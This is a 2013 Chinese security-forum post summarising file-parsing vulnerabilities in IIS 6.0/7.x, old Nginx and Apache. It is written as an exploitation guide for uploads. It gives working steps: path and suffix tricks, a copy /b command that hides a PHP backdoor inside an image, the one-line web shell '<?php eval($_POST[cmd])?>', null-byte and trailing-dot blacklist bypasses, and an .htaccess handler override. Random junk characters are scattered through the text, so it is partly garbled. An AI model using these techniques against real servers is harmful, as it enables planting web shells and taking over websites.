找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2850|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
- R$ {/ Q9 d* K[+]IIS6.0
: u' Y: M7 e. t5 d7 u$ b 2 _% A( _7 f' a' E, a; Z2 k
目录解析:/xx.asp/xx.jpg
) j3 o! I) L8 D+ u xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码8 Z# Q5 v- _' s2 F% g/ C
IIS6.0 会将 xx.jpg 解析为 asp 文件。7 i( U' U) Z: B
后缀解析:/xx.asp;.jpg     - K3 f' L! x: M# T  j, V
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。- H$ ?& ?, F. r% T
默认解析:/xx.asa
( N# ]1 O3 b3 H' A8 R6 x         /xx.cer* z! J0 @) }* |" m6 Z( Q+ M
         /xx.cdx
! ~) k9 q. O; t4 j; M IIS6.0 默认的可执行文件除了 asp 还包含这三种  I7 ^1 C! B2 @  M
此处可联系利用目录解析漏洞 % _- V- U1 i' }9 ^/ }( j
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg0 q8 V2 z8 `5 ?$ X
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03& {. G3 A% q; V1 s5 E

8 O0 S9 E  j6 c( K IIS 7.0/IIS 7.5/Nginx <0.8.035 a% z7 D9 [& q4 @" _5 y5 \7 ~
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
! k" J5 o4 Y* R- M 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
- x- s: e5 [. } 常用利用方法:4 E+ I1 @+ A" d$ C' T) y" F8 m
将一张图和一个写入后门代码的文本文件合并将恶意文本
$ S) B( o  ]' I+ P: ~ 写入图片的二进制代码之后,避免破坏图片文件头和尾$ `. T' m0 [/ k, J
如:7 s0 M7 r( \  l* E% b1 _
copy xx.jpg /b + yy.txt/a xy.jpg
( j( _5 K3 Q- ~$ d #########################################################
  j! m' N7 ?3 b9 z* h9 B /b 即二进制[binary]模式5 e4 m. ]' q% \# |
/a 即ascii模式: ^+ T# h3 t7 C0 V( k- e' }
xx.jpg 正常图片文件5 U7 M7 K% O  x9 L" j1 `7 K. J
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),. s3 g. f$ x# O+ `# C- `) q
'<?php eval($_POST[cmd])?>');?>
2 s( o8 ~( r& Y 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称# o7 g7 \+ d2 U
为shell.php的文件
$ s# N5 `: h3 a# Z ###########################################################
5 K  F9 f9 S% z/ U: a; o- | 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php + r8 y% l' h# d& \$ B
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php & J; |: s/ G1 n/ n2 h8 X7 S
密码 cmd
3 y, p6 ?/ y& K; B6 ]3 E[+]Nginx <0.8.03
' x) D, s4 @6 |
' `8 z% _* L6 {' O/ `0 u/ C5 [( y 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞7 o8 B) O8 u, S
在一个文件路径(/xx.jpg)后面加上%00.php
% x. Y. E; [% J- L7 F 会将 /xx.jpg%00.php 解析为 php 文件。
. l# Z' F, H, j0 s1 A3 y6 w* @[+]Apache<0.8.03/ o: |" q9 j& g8 Z

% H2 k8 Y, K" P/ \: c; F  C 后缀解析:test.php.x1.x2.x39 M" o3 D, j" p* y2 O5 {4 g. ~# Q# c
Apache将从右至左开始判断后缀,若x3非可识别后缀,7 T8 x+ z/ d$ r! k! W' c
再判断x2,直到找到可识别后缀为止,然后将该可识别" M( N  X4 L+ K) c( r1 P8 [
后缀进解析test.php.x1.x2.x3 则会被解析为php. O: _* B5 G' C6 a& r
经验之谈:php|php3|phtml 多可被Apache解析。8 x, ^7 T; q6 p/ d' D
[+]其他一些可利用的
9 n/ j+ C6 ?$ s1 y7 ?
' v' @& n6 J+ g在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的' g) m; l- T' O, p
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
4 ?5 W$ A. B9 n7 f1 t2 x在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格' J# t: D, i0 n9 K, H  h
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
1 N) c6 r! ^! Y+ `# c得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。( ]. v) I) b, ~: `+ q5 r8 }
{Linux主机中不行,Linux允许这类文件存在}$ x& `2 S- E8 b# l4 `
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
/ B& l) c; |# |2 V+ G' T. k) n的,当初我并不知道),且可以被上传,那可以尝试在- S7 P# W; F% F0 j' l
.htaccess中写入:* c3 b! r$ o' E. K: S
<FilesMatch “shell.jpg”>   H8 g5 J6 d( d4 Q
SetHandler application/x-httpd-php " E7 y/ G% u' [, g
</FilesMatch>
0 Q2 x- ?- A- e- K& _9 J# ushell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
% s8 g8 p0 b8 {1 ]0 q[+]错误修改
& U2 y  `0 S' W ; K% Y3 W- q, q' ~, `- r- w
在 IIS 6.0 下可解析 /xx.asp:.jpg( M3 E4 R" w! I4 ~0 m& S/ _
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去$ c/ ~  N5 e9 E. ^4 k: L
剩下/xx.asp}修改:
) K* Q' C; L) r, |+ L先谢谢核攻击的提醒  W4 {. ?2 N3 g1 W! A1 X
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp8 g4 u1 @" P9 \& J" U8 \
里是没有任何内容的,因为。。不好解释 大家自己看
) c( _5 w8 i5 l6 ~http://lcx.cc/?i=2448/ W. M3 R: A6 q5 ]' H2 V9 c/ t
http://baike.baidu.com/view/3619593.htm" r" l) J* O& i/ h# h" S0 z6 T0 |

- q. j8 O$ K9 @7 e: f' s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表